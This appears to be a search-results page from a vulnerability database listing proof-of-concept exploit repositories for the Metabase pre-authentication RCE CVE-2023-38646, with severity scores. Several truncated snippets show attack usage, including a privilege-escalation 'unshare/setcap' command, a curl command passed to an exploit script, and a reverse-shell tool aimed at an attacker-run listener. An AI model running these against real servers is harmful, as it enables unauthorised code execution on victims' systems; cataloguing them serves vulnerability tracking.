Lucene search
+L

49 matches found

Kitploit
Kitploit
added 2026/09/09 5:57 a.m.4 views

POC_Metabase_CVE-2023-38646

For educational purposes only Inspired by Assetnote research CVE: CVE-2023-38646 CVSS: 9.8 Vendor link: click Vulnerable version Metabase Enterprise 1.46 Only tested on ParrotOS Result...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/09 3:23 a.m.5 views

CVE-2023-38646-POC

CVE-2023-38646-POC CVE-2023-38646-POC...

9.8CVSS8.9AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/09 12:56 a.m.4 views

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a script written in Python that allows the exploitation of the Metabase's software security flaw described in CVE-2023-38646. The system is vulnerable in versions preceding 0.46.6.1 , in the open-source edition, and preceding 1.46.6.1 , in the...

9.8CVSS8.2AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/08 11:31 p.m.7 views

METABASE-RCE-CVE-2023-38646-

METABASE-RCE-CVE-2023-38646- To get the root user of the machine or system according to the information above, this command and file will get into root user. You can run this command directly or run as file and execute. Command: $unshare -rm sh -c "mkdir l u w m && cp /u/b/p 3 l/; setcap...

9.8CVSS8.5AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/08 3:48 p.m.6 views

CVE-2023-38646

CVE-2023-38646 Fork ofkh4sh3i's removing the need for Burp Collector. CVE-2023-38646 Pre-Auth RCE in Metabase: Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication ...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37References2
Kitploit
Kitploit
added 2026/09/08 11:41 a.m.4 views

CVE-2023-38646

CVE-2023-38646 Proof of Concept for CVE-2023-38646...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/08 8:22 a.m.5 views

CVE-2023-38646-Poc

CVE-2023-38646-Poc usage python check.py ip port Vulnerable version root@kitploit: Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabas...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/08 7:00 a.m.5 views

CVE-2023-38646

CVE-2023-38646 Automatic Tools For Metabase RCE Exploit Known As CVE-2023-38646. Read https://secry.me/explore/news/metabase-rce-cve-2023-38646/ for more information POC, Dork How to Use single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl...

9.8CVSS8.5AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/08 6:08 a.m.6 views

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase anterior a 0.46.6.1 código abierto y anterior a 1.46.6.1 Enterprise Exploit para la vulnerabilidad de ejecución remota de código RCE identificada en las versiones de Metabase anteriores a 0.46.6.1 código abierto y 1.46.6.1 Enterprise. La vulnerabilidad permite a lo...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/07 1:11 p.m.4 views

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE Tool CVE-2023-38646 RCE Graphical Exploitation Tool Verification Module Input the specified URL to detect unauthorized token Command Execution This module requires executing the verification module to obtain a token first JarLocation: the location of...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/06 5:53 p.m.8 views

CVE-2023-38646

CVE-2023-38646...

9.8CVSS8.9AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/06 2:14 p.m.5 views

Another-Metabase-RCE-CVE-2023-38646

Extensión del RCE sin autenticación en Metabase CVE-2023-38646 explicado aquí Esto me ayudó a evitar errores relacionados con "base de datos ya en uso" con H2 y postgre como motores root@kitploit: "token": "TOKEN", "details": "isondemand": false, "isfullsync": false, "issample": false, "cachettl"...

9.8CVSS8.3AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/05 2:56 p.m.9 views

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell ejecutar comando go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port nota cuando ingreses el host de destino, no olvides el http:// o https://...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/05 1:02 p.m.4 views

Metabase-H2-CVE-2023-38646-

This repository does not have a README...

9.8CVSS8.2AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/05 12:40 p.m.4 views

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 Ho to use? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:mai...

9.8CVSS8.4AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/03 12:51 a.m.7 views

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 exploit This tool exploits a vulnerability CVE-2023-38646 in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string. Overview The tool: Fetches the setup token from t...

9.8CVSS8.5AI score0.98677EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/02 10:32 a.m.4 views

CVE-2023-38646-PoC-Metabase

CVE-2023-38646-PoC-Metabase Proof-of-Concept script for exploiting CVE-2023-38646. Intended for educational and research purposes only. Description This is a Python-based Proof-of-Concept PoC script to exploit CVE-2023-38646, a vulnerability affecting Metabase. The exploit abuses misconfiguration...

9.8CVSS8.5AI score0.98677EPSS
SaveExploits37
RedhatCVE
RedhatCVE
added 2025/05/23 2:20 a.m.13 views

CVE-2023-38646

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2...

9.8CVSS7.8AI score0.98677EPSS
SaveExploits37References1
GithubExploit
GithubExploit
added 2024/11/26 7:05 p.m.619 views

Exploit for CVE-2023-38646

CVE-2023-38646-PoC-Metabase Proof-of-Concept script for exploi...

9.8CVSS9.9AI score0.98677EPSS
SaveExploits37
GithubExploit
GithubExploit
added 2024/11/22 4:15 a.m.171 views

Exploit for CVE-2023-38646

Metabase Pre-Authentication RCE CVE-2023-38646 CVE-2023-38...

9.8CVSS8.2AI score0.98677EPSS
SaveExploits37
Rows per page
Query Builder